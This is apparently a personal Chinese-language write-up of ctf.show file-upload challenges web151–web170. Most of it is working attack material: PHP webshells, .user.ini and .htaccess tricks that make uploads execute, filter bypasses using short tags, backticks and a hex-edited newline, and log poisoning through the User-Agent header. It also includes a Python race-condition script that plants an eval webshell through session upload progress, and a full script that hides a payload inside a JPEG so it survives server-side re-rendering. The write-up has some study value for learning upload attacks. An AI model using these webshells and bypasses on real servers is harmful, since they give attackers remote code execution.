web151-web170文件上传篇

web151、web152

前端校验

根据提示,检验写在了前端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
layui.use('upload', function(){
var upload = layui.upload;

//执行实例
var uploadInst = upload.render({
elem: '#upload' //绑定元素
,url: '/upload/' //上传接口
,done: function(res){
if(res.code==0){
$("#result").html("文件上传成功,路径:"+res.msg);
}else{
$("#result").html("文件上传失败,失败原因:"+res.msg);
}

}
,error: function(){
$("#result").html("文件上传失败");
}
});
});

检测写在前端了,写入php一句话木马,修改后缀为png。上传并抓包。修改文件后缀为需要的php后缀,并访问所需目录:
image.png
image.png
payload:GET:?1=system('tac ../flag.php');

web153

https://www.dazhuanlan.com/vip_mmles/topics/1547397 userini

user.ini

whatweb指纹识别,发现是nginx,而且在upload页面下发现index.php文件。而且很容易上传如php5,phtml等类型文件,但是不解析,需要上传.user.ini,使文件解析。
.user.ini里面可以写:让所有文件都包含该文件

1
auto_prepend_file = 1.txt

image.png
然后再上传图片马或者直接上传一句话木马文本即可。
上传1.txt内容为:

1
<?php ($_GET[1])($_GET[2]);

然后访问upload/index.php并传入payload即可:
upload/index.php?1=system&2=tac ../fla*

web154

同153上传.user.ini 然后上传图片马。
在前面一题的基础上增加了内容过滤,过滤了php , 可以用大小写来绕过。
image.png
payload同上题目即可。
image.png

web155

短标签

上传彻底禁用了php 大小写都不行。
还是先上传.user.ini 然后使用短标签,建议使用<?=短标签即可
短标签:

1
2
3
4
5
<? echo '123';?> //short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

1.png:<?=system($_GET[1]);
payload:upload/index.php?1=phpinfo&2=tac ../f*

web156

经过测试过滤了[ ,可以用{}代替[],其它的步骤和前面几个一致
1.png : <?=system($_GET{1});

web157

又过滤了;和{
1.png <?=(system('nl ../*.ph*'))?>
注意使用方式可以省略分号,

web158、web159

1.png <?=tac ../f*?>

web159

日志包含

这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法。
nginx的日志文件在/var/log/nginx/access.log里

注意这次的.user.ini文件内容是:
auto_prepend_file=1.png需要将等号两端空格删除
image.png1.png <?=include"/var/lo"."g/nginx/access.lo"."g"?>
按照wp这种写法 会发现提示格式错误。
经过查询资料发现,正确的写法应该是:
将include和地址中间加一个换行。
先用1标记一下:
image.png
切换到hex部分
image.png
将1改为0d即可上传成功
image.png
直接访问即可:
image.png

web161

图片头

加上图片头:

1
GIF89A

image.png
图片马同理
image.png
UA传入一句话木马。

web162、web163(远程文件包含 这里不复现了 条件竞争需要后半夜 挺不住)

过滤了.,所以不能利用日志包含了,先正常上传.user.ini
image.png

方法一 远程文件包含

因为不能有.所以将IP转换为十进制,然后修改默认为一句话木马。也就是:
image.png
这里由于需要修改默认页面过于麻烦,这里就没有复现。

方法二 session条件竞争

利用session.upload_progress将木马写入session文件,然后包含这个session文件。
首先在.user.ini包含/tmp/sess_test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading

sessid = 'test'
data = {
"ctf": "/tmp/sess_test",
"cmd": 'system("tac ../f*");'
}


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://73c8baa3-fd27-4ce6-90d6-107d6eb00f5b.challenge.ctf.show/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
while event.isSet():
res = session.post(
'http://73c8baa3-fd27-4ce6-90d6-107d6eb00f5b.challenge.ctf.show/',
data=data
)
if 'ctfshow{' in res.text:
print(res.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == "__main__":
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 5):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 5):
threading.Thread(target=read, args=(session,)).start()

但是不知道为什么一直也竞争不到。
应该是线程的原因,他这个竞争条件只有后半夜才开放。这里就不复现了。

web164

使用生成图片马:
https://github.com/huntergregal/PNG-IDAT-Payload-Generator
使用命令:

1
python generate.py -m php -o 1.png

生成的图片文本内容会出现:<?=$_GET[0]($_POST[1]);?>
对应传值。
image.png
下载图片,以文本的格式打开就会发现内容。
image.png

web165(傻逼库一直导不进去)

二次渲染

这次图片上传之后会被二次渲染。
可以先将图片渲染一张,然后再写入木马。
image.png
二次渲染之后写入木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

注意使用之前要导入php的gd库
然后注入即可,但是这里我的库没导入明白。所以尝试一下对比渲染前后两个文件。发现内容有部分不会改变,可以在不变处注入木马。
image.png
试了一下 似乎不太行。
太重量级了 ,一直提示下不下来gd扩展。
气麻了。不做了。

web166

检测是否为zip,穿一个zip然后直接在bp里面抓包即可。
image.png

web167

.htaccess

使用.htaccess的一个要求就是使用apache
image.png
htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

1
AddType application/x-httpd-php .jpg   //将.png后缀的文件解析 成php

image.png
再传一个jpg为后缀的一句话木马。
image.png

web168

基础免杀

过滤了关键字eval system
就简单用

1
<?=`tac ../f*`?>

image.png
上传之后访问即可。但是注意,点击下载之后跳转链接是错误的。正确的连接/upload/jichumiansha.phpimage.png

web169

日志包含

还是之前的.user.ini。
20210423141358274.png
contenttype要修改成如图的样式。
然后再传一个php文件。
image.png
注意图中UA,文件名,文件种类。
然后就是访问1.php了。
upload/1.php?2=tac ../f*

web170

.user.ini GIF89A文件头

image.png
加个文件头即可。